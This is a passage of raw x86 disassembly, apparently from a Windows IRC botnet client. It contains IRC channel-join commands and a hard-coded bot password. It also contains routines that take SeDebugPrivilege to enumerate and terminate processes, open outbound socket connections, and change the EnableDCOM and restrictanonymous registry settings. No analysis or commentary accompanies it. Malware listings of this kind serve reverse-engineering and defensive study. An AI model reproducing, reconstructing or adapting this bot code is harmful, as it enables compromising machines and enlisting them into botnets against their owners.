loc_415A69: ; CODE XREF: sub_40F6F1+63A2j
cmp [ebp+arg_24], ebx
jz loc_40FAB8
cmp [edi], bl
jnz short loc_415A89
push [ebp+arg_24]
push offset aC0d1am0z3 ; "c0d1am0z3"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_415A9A
loc_415A89: ; CODE XREF: sub_40F6F1+6383j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_415A69
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_415A9A: ; CODE XREF: sub_40F6F1+6396j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_AA8]
push 7Fh
push eax
push esi
call sub_4182F0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_415AD1
push ebx
push [ebp+var_4]
push offset dword_434BEC
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
add esp, 14h
loc_415AD1: ; CODE XREF: sub_40F6F1+63C4j
lea eax, [ebp+var_D8]
push eax
push offset dword_434BBC
jmp loc_40FCA1
; ---------------------------------------------------------------------------
loc_415AE2: ; CODE XREF: sub_40F6F1+20Ej
; sub_40F6F1+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
push offset aXtIb ; "-xt+iB"
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
add esp, 2Ch
mov dword_51564C, edi
jmp loc_40F991
sub_40F6F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B28 proc near ; CODE XREF: sub_408FAC+45p
; sub_408FAC+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
nop
call near ptr 7C80DDF5h
push eax
call dword_44139C ; OpenProcessToken
test eax, eax
jnz short loc_415B47
leave
retn
; ---------------------------------------------------------------------------
loc_415B47: ; CODE XREF: sub_415B28+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_441374 ; LookupPrivilegeValueA
test eax, eax
jz short loc_415B85
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_415B6E
or [ebp+var_8], 2
jmp short loc_415B72
; ---------------------------------------------------------------------------
loc_415B6E: ; CODE XREF: sub_415B28+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_415B72: ; CODE XREF: sub_415B28+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_441424 ; AdjustTokenPrivileges
mov esi, eax
loc_415B85: ; CODE XREF: sub_415B28+32j
push [ebp+var_4]
nop
call near ptr 7C809B47h
mov eax, esi
pop esi
leave
retn
sub_415B28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B93 proc near ; CODE XREF: sub_40F6F1+4DE1p
; sub_415DC2+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4413D8, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_415D92
cmp dword_4413BC, ebx
jz loc_415D92
cmp dword_4412D8, ebx
jz loc_415D92
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_415B28
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4413D8 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_415D85
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4413BC ; Process32First
mov esi, dword_42107C
test eax, eax
jz loc_415D80
lea eax, [ebp+var_130]
push eax
push edi
call dword_4412D8 ; Process32Next
test eax, eax
jz loc_415D80
mov edi, dword_4210F8
mov ebx, 1F0FFFh
loc_415C57: ; CODE XREF: sub_415B93+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_415CBE
mov [ebp+var_4], offset off_43824C
loc_415C65: ; CODE XREF: sub_415B93+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
nop
call near ptr 7C80BAA1h
test eax, eax
jz short loc_415C8D
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_438C0C
jl short loc_415C65
jmp loc_415D66
; ---------------------------------------------------------------------------
loc_415C8D: ; CODE XREF: sub_415B93+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_415D66
push 0
push eax
nop
call near ptr 7C801E16h
test eax, eax
jnz loc_415D66
loc_415CB4: ; CODE XREF: sub_415B93+1B9j
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_415D66
; ---------------------------------------------------------------------------
loc_415CBE: ; CODE XREF: sub_415B93+C9j
cmp [ebp+arg_C], eax
jnz loc_415D51
cmp [ebp+arg_4], eax
jz loc_415D66
push [ebp+var_128]
push 8
call dword_4413D8 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_415D11
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_441284 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_415D17
lea eax, [ebp+var_234]
jmp short loc_415D1D
; ---------------------------------------------------------------------------
loc_415D11: ; CODE XREF: sub_415B93+15Cj
push [ebp+var_128]
loc_415D17: ; CODE XREF: sub_415B93+174j
lea eax, [ebp+var_10C]
loc_415D1D: ; CODE XREF: sub_415B93+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_4173AC
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
jmp loc_415CB4
; ---------------------------------------------------------------------------
loc_415D51: ; CODE XREF: sub_415B93+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_415D99
loc_415D66: ; CODE XREF: sub_415B93+F5j
; sub_415B93+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4412D8 ; Process32Next
test eax, eax
jnz loc_415C57
xor ebx, ebx
loc_415D80: ; CODE XREF: sub_415B93+9Dj
; sub_415B93+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_415D85: ; CODE XREF: sub_415B93+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_415B28
pop ecx
pop ecx
loc_415D92: ; CODE XREF: sub_415B93+3Aj
; sub_415B93+46j ...
xor eax, eax
loc_415D94: ; CODE XREF: sub_415B93+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415D99: ; CODE XREF: sub_415B93+1D1j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
nop
call near ptr 7C801E16h
test eax, eax
jnz short loc_415DBD
push edi
call esi ; CloseHandle
jmp short loc_415D92
; ---------------------------------------------------------------------------
loc_415DBD: ; CODE XREF: sub_415B93+223j
push 1
pop eax
jmp short loc_415D94
sub_415B93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DC2 proc near ; DATA XREF: sub_40F6F1+5A8Fo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_43AD80
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_4173AC
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_415E21
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40DC10
add esp, 14h
loc_415E21: ; CODE XREF: sub_415DC2+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_415B93
add esp, 18h
test eax, eax
jnz short loc_415E49
push offset unk_43AD48
jmp short loc_415E4E
; ---------------------------------------------------------------------------
loc_415E49: ; CODE XREF: sub_415DC2+7Ej
push offset unk_43AD10
loc_415E4E: ; CODE XREF: sub_415DC2+85j
lea eax, [ebp+var_298]
push eax
call sub_4173AC
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_415E81
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40DC10
add esp, 14h
loc_415E81: ; CODE XREF: sub_415DC2+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40C4F7
push [ebp+var_14]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
pop edi
pop esi
sub_415DC2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415EA0 proc near ; CODE XREF: sub_40F6F1+4D83p
; sub_416F93+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
nop
call near ptr 7C8309E1h
mov esi, eax
test esi, esi
jz short loc_415ED2
push 0
push esi
nop
call near ptr 7C801E16h
test eax, eax
jnz short loc_415ED2
push esi
xor edi, edi
nop
call near ptr 7C809B47h
loc_415ED2: ; CODE XREF: sub_415EA0+1Aj
; sub_415EA0+27j
mov eax, edi
pop edi
pop esi
retn
sub_415EA0 endp
; ---------------------------------------------------------------------------
byte_415ED7 db 56h ; DATA XREF: ___:0040F0A4o
dd 16AF633h, 56565656h, 0FCADE856h, 0C483FFFFh, 4835FF18h
dd 90004382h, 3EC54DE8h
db 7Ch, 0EBh, 0E3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415EF7 proc near ; CODE XREF: sub_404180+Ap
; sub_404737+16p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_417408
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_421618
call sub_4190C8
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_415EF7 endp
; =============== S U B R O U T I N E =======================================
sub_415F27 proc near ; CODE XREF: sub_4162D6+4Cp
; DATA XREF: ___:off_43ADC8o
var_C = dword ptr -0Ch
arg_4 = dword ptr 8
push esi
push edi
nop
call near ptr 7C80929Ch
push eax
call sub_4173FE
mov edi, [esp+0Ch+arg_4]
mov [esp+0Ch+var_C], offset dword_515648
push offset dword_42433C
push 1Ch
push edi
call sub_41792A
xor esi, esi
add esp, 10h
cmp dword_42ECFC, esi
jle short loc_415F80
loc_415F5A: ; CODE XREF: sub_415F27+57j
call sub_417408
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43ADF4
push 1Ch
push edi
call sub_41792A
add esp, 14h
inc esi
cmp esi, dword_42ECFC
jl short loc_415F5A
loc_415F80: ; CODE XREF: sub_415F27+31j
mov eax, edi
pop edi
pop esi
retn
sub_415F27 endp
; =============== S U B R O U T I N E =======================================
sub_415F85 proc near ; CODE XREF: sub_40F6F1+3F7Ap
arg_4 = dword ptr 8
push ebx
push esi
push edi
nop
call near ptr 7C80929Ch
push eax
call sub_4173FE
pop ecx
call sub_417408
push 3
mov ebx, [esp+10h+arg_4]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42ECFC
test esi, esi
jle short loc_415FC8
loc_415FB2: ; CODE XREF: sub_415F85+41j
call sub_417408
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_415FB2
loc_415FC8: ; CODE XREF: sub_415F85+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_415F85 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0C8h
push ebx
push esi
lea eax, [ebp-0C8h]
push edi
push eax
mov edi, offset byte_43C63C
mov dword ptr [ebp-0C8h], 94h
nop
call near ptr 7C812ADEh
cmp dword ptr [ebp-0C4h], 4
push 0Ah
pop ebx
jnz short loc_41604C
cmp dword ptr [ebp-0C0h], 0
jnz short loc_41602D
cmp dword ptr [ebp-0B8h], 1
jnz short loc_41601D
mov edi, offset a95 ; "95"
loc_41601D: ; CODE XREF: ___:00416016j
cmp dword ptr [ebp-0B8h], 2
jnz short loc_416088
mov edi, offset aNt ; "NT"
jmp short loc_416088
; ---------------------------------------------------------------------------
loc_41602D: ; CODE XREF: ___:0041600Dj
cmp [ebp-0C0h], ebx
jnz short loc_41603C
mov edi, offset a98 ; "98"
jmp short loc_416088
; ---------------------------------------------------------------------------
loc_41603C: ; CODE XREF: ___:00416033j
cmp dword ptr [ebp-0C0h], 5Ah
jnz short loc_416083
mov edi, offset aMe ; "ME"
jmp short loc_416088
; ---------------------------------------------------------------------------
loc_41604C: ; CODE XREF: ___:00416004j
cmp dword ptr [ebp-0C4h], 5
jnz short loc_416083
cmp dword ptr [ebp-0C0h], 0
jnz short loc_416065
mov edi, offset a2k ; "2K"
jmp short loc_416088
; ---------------------------------------------------------------------------
loc_416065: ; CODE XREF: ___:0041605Cj
cmp dword ptr [ebp-0C0h], 1
jnz short loc_416075
mov edi, offset aXp ; "XP"
jmp short loc_416088
; ---------------------------------------------------------------------------
loc_416075: ; CODE XREF: ___:0041606Cj
cmp dword ptr [ebp-0C0h], 2
mov edi, offset dword_43AE3C
jz short loc_416088
loc_416083: ; CODE XREF: ___:00416043j
; ___:00416053j
mov edi, offset dword_43AE38
loc_416088: ; CODE XREF: ___:00416024j
; ___:0041602Bj ...
lea eax, [ebp-0B4h]
push offset dword_441700
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4160A6
mov esi, offset dword_43AE34
jmp short loc_416121
; ---------------------------------------------------------------------------
loc_4160A6: ; CODE XREF: ___:0041609Dj
lea eax, [ebp-0B4h]
push offset a1 ; "1"
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_4160C4
mov esi, offset sub_43AE30
jmp short loc_416121
; ---------------------------------------------------------------------------
loc_4160C4: ; CODE XREF: ___:004160BBj
lea eax, [ebp-0B4h]
push offset a2 ; "2"
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_4160E2
mov esi, offset sub_43AE2C
jmp short loc_416121
; ---------------------------------------------------------------------------
loc_4160E2: ; CODE XREF: ___:004160D9j
lea eax, [ebp-0B4h]
push offset dword_43AE28
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_416100
mov esi, offset dword_43AE24
jmp short loc_416121
; ---------------------------------------------------------------------------
loc_416100: ; CODE XREF: ___:004160F7j
lea eax, [ebp-0B4h]
push offset dword_43AE20
push eax
call sub_417980
pop ecx
mov esi, offset dword_43AE1C
test eax, eax
pop ecx
jnz short loc_416121
mov esi, offset off_43AE18
loc_416121: ; CODE XREF: ___:004160A4j
; ___:004160C2j ...
push dword ptr [ebp+8]
call sub_40AFAB
push eax
call sub_40ADFD
pop ecx
test eax, eax
pop ecx
jz short loc_41613C
push offset dword_42D19C
jmp short loc_416141
; ---------------------------------------------------------------------------
loc_41613C: ; CODE XREF: ___:00416133j
push offset aW ; "W"
loc_416141: ; CODE XREF: ___:0041613Aj
lea eax, [ebp-34h]
push 10h
push eax
call sub_41792A
add esp, 0Ch
lea eax, [ebp-8]
or dword ptr [ebp-4], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_40BBF6
pop ecx
push eax
call sub_417FCC
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_416199
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41792A
add esp, 10h
jmp short loc_4161BD
; ---------------------------------------------------------------------------
loc_416199: ; CODE XREF: ___:00416182j
cmp eax, 64h
jge short loc_4161AB
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call sub_4204FC
jmp short loc_4161BA
; ---------------------------------------------------------------------------
loc_4161AB: ; CODE XREF: ___:0041619Cj
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41792A
loc_4161BA: ; CODE XREF: ___:004161A9j
add esp, 0Ch
loc_4161BD: ; CODE XREF: ___:00416197j
nop
call near ptr 7C80929Ch
push eax
call sub_4173FE
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
nop
call near ptr 7C80D262h
lea eax, [ebp-34h]
push eax
push esi
lea eax, [ebp-18h]
push edi
mov edi, [ebp+0Ch]
push eax
lea eax, [ebp-24h]
push eax
push offset aSSSSS ; "%s|%s|%s|%s|%s|"
push 1Ch
push edi
call sub_41792A
xor esi, esi
add esp, 20h
cmp dword_42ECFC, esi
jle short loc_41622C
loc_416207: ; CODE XREF: ___:0041622Aj
call sub_417408
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
push offset dword_43ADF4
push 1Ch
push edi
call sub_41792A
add esp, 14h
inc esi
cmp esi, dword_42ECFC
jl short loc_416207
loc_41622C: ; CODE XREF: ___:00416205j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416233 proc near ; CODE XREF: sub_4162D6+60p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
nop
call near ptr 7C80929Ch
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_416282
call dword_4413C4 ; FindWindowA
test eax, eax
mov eax, offset off_43AE48
jnz short loc_41626B
mov eax, offset byte_43C63C
loc_41626B: ; CODE XREF: sub_416233+31j
push eax
push esi
push offset dword_43AE40
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41792A
add esp, 14h
jmp short loc_4162A2
; ---------------------------------------------------------------------------
loc_416282: ; CODE XREF: sub_416233+22j
call dword_4413C4 ; FindWindowA
test eax, eax
mov eax, offset off_43AE48
jnz short loc_416296
mov eax, offset byte_43C63C
loc_416296: ; CODE XREF: sub_416233+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_4162A2: ; CODE XREF: sub_416233+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_417AF0
pop ecx
cmp eax, 2
pop esi
jbe short loc_4162D1
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_4184C0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_4182F0
add esp, 18h
loc_4162D1: ; CODE XREF: sub_416233+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_416233 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162D6 proc near ; CODE XREF: sub_40F326+CEp
; sub_40F576+53p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_43ADC4
loc_4162E2: ; CODE XREF: sub_4162D6+3Fj
cmp [ebp+arg_10], 0
jz short loc_4162FD
lea eax, [esi-0Ch]
push eax
push [ebp+arg_10]
call sub_4177D0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_416307
; ---------------------------------------------------------------------------
loc_4162FD: ; CODE XREF: sub_4162D6+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_8]
setz al
loc_416307: ; CODE XREF: sub_4162D6+25j
test eax, eax
jnz short loc_416319
add esi, 14h
inc edi
cmp esi, 43AE00h
jl short loc_4162E2
jmp short loc_41632B
; ---------------------------------------------------------------------------
loc_416319: ; CODE XREF: sub_4162D6+33j
push [ebp+arg_4]
lea eax, [edi+edi*4]
push [ebp+arg_0]
call off_43ADC8[eax*4]
pop ecx
pop ecx
loc_41632B: ; CODE XREF: sub_4162D6+41j
cmp [ebp+arg_C], 0
pop edi
pop esi
jz short loc_41633E
push [ebp+arg_4]
call sub_416233
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41633E: ; CODE XREF: sub_4162D6+5Bj
mov eax, [ebp+arg_4]
pop ebp
retn
sub_4162D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416343 proc near
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_4413B8 ; ntohs
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_441438 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_416401
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_441360 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_446E1C[ecx], esi
jz short loc_416401
push [ebp+var_34]
push [ebp+var_28]
call dword_441444 ; inet_ntoa
push eax
mov edi, offset dword_515654
push offset unk_43AE4C
push edi
call sub_4173AC
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_40DC10
push edi
call sub_40C4F7
add esp, 28h
loc_416401: ; CODE XREF: sub_416343+5Dj
; sub_416343+7Ej
push esi
call dword_441450 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_416343 endp
; ---------------------------------------------------------------------------
dword_416410 dd 81EC8B55h, 130ECh, 5D8B5300h, 6A575608h, 59F38B2Ah
; DATA XREF: sub_40F6F1+36F1o
dd 0FF50BD8Dh, 0A5F3FFFFh, 1070358Bh, 83C70042h, 0A0h
dd 1, 75FFFF33h, 0E075FFD4h, 144415FFh, 8D500044h, 0FFFED085h
dd 0AE8468FFh, 0E8500043h, 0F50h, 0FED0858Dh, 0FF68FFFFh
dd 50000001h, 69DC458Bh, 234C0h, 6C100500h, 0E8500044h
dd 1E74h, 8D1CC483h, 8D50F845h, 0FFFF5085h, 685057FFh
dd 416343h, 0E8905757h, 7C3FA19Fh, 4589C73Bh, 390B74FCh
dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 94E890FCh, 0FF7C3F36h
dd 88B3h, 0A4BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
dd 0E8500845h, 0FC0h, 0FF0CC483h, 15FF0875h, 4412ECh, 45895040h
dd 0B415FF08h, 89004413h, 458D0845h, 50046A08h, 50E0458Dh
dd 0F97E8h, 0CC48300h, 0FFFF3DE9h
db 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416501 proc near ; DATA XREF: sub_40F6F1+608Fo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_416548
call sub_416561
jmp short loc_41654D
; ---------------------------------------------------------------------------
loc_416548: ; CODE XREF: sub_416501+3Ej
call sub_416885
loc_41654D: ; CODE XREF: sub_416501+45j
add esp, 10h
push [ebp+var_14]
call sub_417174
pop ecx
push 0
nop
call near ptr 7C80C058h
sub_416501 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416561 proc near ; CODE XREF: sub_416501+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_441488, edi
jnz loc_416693
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_441428 ; RegOpenKeyExA
test eax, eax
jnz short loc_4165EC
mov ax, word_43B23C
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4413DC ; RegSetValueExA
test eax, eax
jz short loc_4165CE
push offset unk_43B1FC
jmp short loc_4165D3
; ---------------------------------------------------------------------------
loc_4165CE: ; CODE XREF: sub_416561+64j
push offset dword_43B1D0
loc_4165D3: ; CODE XREF: sub_416561+6Bj
lea eax, [ebp+var_214]
push eax
call sub_4173AC
pop ecx
pop ecx
push [ebp+var_4]
call dword_441394 ; RegCloseKey
jmp short loc_4165FF
; ---------------------------------------------------------------------------
loc_4165EC: ; CODE XREF: sub_416561+36j
lea eax, [ebp+var_214]
push offset unk_43B190
push eax
call sub_4173AC
pop ecx
pop ecx
loc_4165FF: ; CODE XREF: sub_416561+89j
cmp [ebp+arg_C], edi
jnz short loc_41661E
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_41661E: ; CODE XREF: sub_416561+A1j
lea eax, [ebp+var_214]
push eax
call sub_40C4F7
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_441428 ; RegOpenKeyExA
test eax, eax
jnz short loc_41668C
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4413DC ; RegSetValueExA
test eax, eax
jz short loc_41666E
push offset unk_43B130
jmp short loc_416673
; ---------------------------------------------------------------------------
loc_41666E: ; CODE XREF: sub_416561+104j
push offset unk_43B0EC
loc_416673: ; CODE XREF: sub_416561+10Bj
lea eax, [ebp+var_214]
push eax
call sub_4173AC
pop ecx
pop ecx
push [ebp+var_4]
call dword_441394 ; RegCloseKey
jmp short loc_4166A6
; ---------------------------------------------------------------------------
loc_41668C: ; CODE XREF: sub_416561+E2j
push offset unk_43B0A0
jmp short loc_416698
; ---------------------------------------------------------------------------
loc_416693: ; CODE XREF: sub_416561+13j
push offset unk_43B060
loc_416698: ; CODE XREF: sub_416561+130j
lea eax, [ebp+var_214]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_4166A6: ; CODE XREF: sub_416561+129j
cmp [ebp+arg_C], edi
jnz short loc_4166C5
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_4166C5: ; CODE XREF: sub_416561+148j
lea eax, [ebp+var_214]
push eax
call sub_40C4F7
cmp dword_4414B0, edi
pop ecx
jnz loc_416840
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_4166E8: ; CODE XREF: sub_416561+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
